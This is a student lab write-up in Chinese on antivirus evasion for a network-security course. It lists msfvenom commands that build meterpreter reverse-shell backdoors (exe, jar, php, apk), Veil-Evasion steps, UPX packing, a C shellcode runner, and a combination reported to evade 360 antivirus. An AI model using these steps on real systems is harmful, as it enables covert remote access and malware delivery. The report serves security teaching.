2019-2020-2 20175203马羽达《网络对抗技术》Exp3 免杀原理与实践
1.1方法
1.1.1正确使用msf编码器
1.1.2msfvenom生成如jar之类的其他文件
1.1.3veil
1.1.4加壳工具
1.1.5使用C + shellcode编程
1.1.6使用其他课堂未介绍方法
1.2通过组合应用各种技术实现恶意代码免杀
2.1基础问题回答
2.1.1杀软是如何检测出恶意代码的？
2.1.2免杀是做什么？
2.1.3免杀的基本方法有哪些？
2.1.4开启杀软能绝对防止电脑中恶意代码吗？
2.2.实践总结与体会
1.1方法
1.1.1正确使用msf编码器
在kali终端中，输入msfvenom查看该命令的参数详情，选用msfvenom -l encoders就能够查看编码器情况了。
将原来实验二中的后门程序发送至网站virustotal.com进行审查，如图所示
果然是一点隐蔽性都没有，轻松被看出来。
kali终端中输入cd /usr/share/metasploit-framework/modules/payloads/stagers/windows进入文件夹，ls查看Windows平台下的连接方式
之后，cd /usr/share/metasploit-framework/modules/encoders/x86进入文件夹，ls查看x86的编码方式
输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 52 -b 'x00' LHOST=192.168.113.131 LPORT=5203 -f exe > mydexptriBD.exe生成mydexptriBD.exe，检测如下：
就少了一个，没啥大用。。。看来杀软还是比较厉害的哈哈哈哈哈
1.1.2msfvenom生成如jar之类的其他文件
kali终端输入msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.113.131 lport=5203 x> myd175203_backdoor_java.jar生成Java后门程序
导出后进行检测如下：
有了很大的改观，但是还是被一半的检测到
大同小异，输入msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.113.131 lport=5203 x> myd175203_backdoor.php生成php程序
导出后进行检测如下：
厉害了！！！就剩三个了，这里还是要吹一手卡巴斯基的！
输入msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.113.131 lport=5203 x> myd175203_backdoor.apk生成apk文件（安装包，用于安卓）
导出后进行检测如下：
被三分之一的检测到了，但是手机上一般没有什么杀毒的习惯，所以还是要警惕这类的了
1.1.3veil
安装过程简直是。。。一言难尽，那么就先说一下吧，首先，安装第一遍没问题，然后输入veil会提示让你继续升级，这时候问题就来了，你需要有足够流畅的网络，之后下完一遍后，会发现它打不开，并提示你输入运行一条指令，在普通模式下输入后进入下载，有好多个错误是由于没有管理员权限所以无法实现，那么我们进入管理员模式进行相同操作，这时候，先更新架构dpkg --add-architecture i386
,apt-get update,apt-get install wine32,然后安装veil-evasionapt-get install veil-evasion就大功告成了！希望对大家有帮助，之后就是打开veil
输入use evasion进入Veil-Evasion
use c/meterpreter/rev_tcp.py进入配置界面
set LHOST 192.168.113.131设置反弹连接IP
set LPORT 5203设置端口
输入generate生成后门程序文件，将程序命名为veilmyd
按照提示即可在系统文件夹找到相关程序，检测如下：
不太行啊小老弟。。。
1.1.4加壳工具
使用命令upx mydexptriBD.exe -o myd175203.upxed.exe加压缩壳
导出后进行检测如下：
没有更好的改观
1.1.5使用C + shellcode编程
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.113.131 LPORT=5203 -f c生成C语言下的shellcode数组
mkdir myd175203.c创建c文件
“shellcode数组”
int main()
{
int (*func)() = (int(*)())buf;
func();
}
输入i686-w64-mingw32-g++ myd175203.c -o myd1752203.exe交叉编译
导出后进行检测如下：
还是2/3，不算成功。。。
1.1.6使用其他课堂未介绍方法
在veil中输入use evasion进入Veil-Evasion
use 29选择第29个，
set USERNAME myd输入用户名，选择平台2，其他的都是kail相关的一些ip，端口等等如图：
生成文件名称默认，类型选择2，成为一个exe文件，发现是生成一个指令：
在主机中检测：
厉害了！！！
1.2通过组合应用各种技术实现恶意代码免杀
采用C语言调用bloxor编码的shellcode+加壳方式达成免杀目的
杀软：360
系统：win10
keil中msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.113.131 LPORT=5203 -f c生成shellcode数组，在主机c语言程序codeblocks中进行编译，在debug里找到exe程序，keil中upx 17523myd.exe -o myd_bloxor_upxed.exe加壳
一复制就被检测到了。。。gg
加壳后在主机里进行查杀，没找到！！！
也不知道是该高兴还是不高兴，，，
2.1基础问题回答
2.1.1杀软是如何检测出恶意代码的？
杀软有自己的特征库，就是我们需要更新的病毒库，通过对其特征或者进程行为的比对进行检测。
2.1.2免杀是做什么？
模糊恶意程序的特征行为，达到伪装，不被检测的目的。
2.1.3免杀的基本方法有哪些？
生成如jar之类的其他文件，加壳，使用C + shellcode编程等等
2.1.4开启杀软能绝对防止电脑中恶意代码吗？
当然不能，恶意软件进行更新，你在软件库里找不到同样类型的，就无法防范，但是开启杀毒软件还是能有效防范大部分恶意代码的。
2.2.实践总结与体会
本次实验让我更加深刻的了解了恶意代码的伪装过程，对keil的使用也有了近一步的熟练，收获还是很多的，尤其是在自主安装成功veil后，简直不要太快乐！（虽然好像不是一件很厉害的事情），由实验回归到现实，我把电脑360的病毒库设置为了wifi下自动更新，真的怕自己的电脑突然暴毙。。。